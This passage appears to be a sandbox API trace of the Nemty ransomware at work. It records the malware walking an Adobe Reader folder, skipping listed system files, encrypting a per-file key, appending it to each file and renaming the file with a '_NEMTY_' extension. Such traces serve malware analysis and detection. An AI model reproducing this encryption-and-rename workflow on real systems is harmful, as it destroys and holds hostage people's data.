hHeap=0x4f90000) returned 1 [0215.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.441] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_MX.txt", cAlternateFileName="DI31D9~1.TXT")) returned 1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2=".") returned 1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="..") returned 1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="...") returned 1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="windows") returned -1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="rsa") returned -1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="NTDETECT.COM") returned -1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="ntldr") returned -1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="MSDOS.SYS") returned -1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="IO.SYS") returned -1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="boot.ini") returned 1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="boot.ini") returned 1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="ntuser.dat") returned -1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="desktop.ini") returned 1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="CONFIG.SYS") returned 1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="RECYCLER") returned -1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="bootmgr") returned 1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="programdata") returned -1 [0215.441] lstrcmpiW (lpString1="DisplayLanguageNames.es_MX.txt", lpString2="appdata") returned 1 [0215.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_MX.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_MX.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_MX.txt", lpUsedDefaultChar=0x0) returned 30 [0215.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_MX.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_MX.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_MX.txt", lpUsedDefaultChar=0x0) returned 30 [0215.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_MX.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_MX.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_MX.txt", lpUsedDefaultChar=0x0) returned 30 [0215.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_MX.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_MX.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_MX.txt", lpUsedDefaultChar=0x0) returned 30 [0215.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.442] Sleep (dwMilliseconds=0x5) [0215.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x340e3170, dwHighDateTime=0x1d561e8)) [0215.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x340e3170, dwHighDateTime=0x1d561e8)) [0215.449] GetLastError () returned 0x0 [0215.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.450] GetLastError () returned 0x0 [0215.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.450] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.450] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.450] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.450] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="sUAa0Tsubi9Mgs5g1TzKpaFUyyQzgCqMq5jDvLkS+voQvvF563SoqWfGE5kOF7kl\r\nHKTrPdam5uXtbfkQ3fIGGG27HheyNpxbHac62v+j8NBIkEn2UAoRL7r5rtMKFkKP\r\nZo321bAE0f/PRaQ5LoA/maBL3+5bGnyk8aM/4yL5e1zLpI/8lsLlUDuyB61LIgYJ\r\nDt3zLqz7HrW/5ccpjByVf614eMemVJgLhj+gMTf1JbKryljmFWf1RwPd84leRjAL\r\nTsqd1K+6gtWyvIaXHrglfdwk+oIhK8/TUJfTb1D0OGzXwGDkkPe66yXveoCv0Zpx\r\nNGXcJweb09CmGUYR2cpzag==\r\n", pcchString=0x653e5dc) returned 1 [0215.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.450] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.451] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28352) returned 1 [0215.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.451] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.451] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.457] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.457] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.457] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec0 [0215.457] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.458] CloseHandle (hObject=0x2e8) returned 1 [0215.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.458] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt._nemty_kgobjgd_")) returned 1 [0215.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.459] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ecc, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_NI.txt", cAlternateFileName="DI4326~1.TXT")) returned 1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2=".") returned 1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="..") returned 1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="...") returned 1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="windows") returned -1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="rsa") returned -1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="NTDETECT.COM") returned -1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="ntldr") returned -1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="MSDOS.SYS") returned -1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="IO.SYS") returned -1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="boot.ini") returned 1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="boot.ini") returned 1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="ntuser.dat") returned -1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="desktop.ini") returned 1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="CONFIG.SYS") returned 1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="RECYCLER") returned -1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="bootmgr") returned 1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="programdata") returned -1 [0215.459] lstrcmpiW (lpString1="DisplayLanguageNames.es_NI.txt", lpString2="appdata") returned 1 [0215.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_NI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_NI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_NI.txt", lpUsedDefaultChar=0x0) returned 30 [0215.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_NI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_NI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_NI.txt", lpUsedDefaultChar=0x0) returned 30 [0215.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_NI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_NI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_NI.txt", lpUsedDefaultChar=0x0) returned 30 [0215.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_NI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_NI.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_NI.txt", lpUsedDefaultChar=0x0) returned 30 [0215.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.460] Sleep (dwMilliseconds=0x5) [0215.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x341092d0, dwHighDateTime=0x1d561e8)) [0215.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x341092d0, dwHighDateTime=0x1d561e8)) [0215.465] GetLastError () returned 0x0 [0215.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.465] GetLastError () returned 0x0 [0215.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.465] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.465] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.465] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.466] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="gzanKxnONa1HbRZhaWuy4LY1gVj+iwmQMAOIQugC14BN9HwrrS2Qto7/LQi+ae1V\r\n+1K0+jT1msZl5BKlhNCH94Ed8c+LlSt4vJRFlaoMmn5K5WUArPC+hsU42Z8MOJA7\r\nE01+rHX8EzMfFs0UK7WFNo3l/nwteGinBMpiOltZzKZMqG63w2c1IGmPUlk4+tLF\r\nTq1Td7gznb9BrX0WWhqmO7rnFKkhfa5DtfLAXAaCFQXrB8gehi84DLXMC4erYNtC\r\nk4lzOuydGZdL2YSUbyKbMOb7BlJ54xGcQCedd2V+IniWHrD24vZ0A7Sw8CbFiOsE\r\nxt9kMC5Pya2vmYNT+IOlKQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 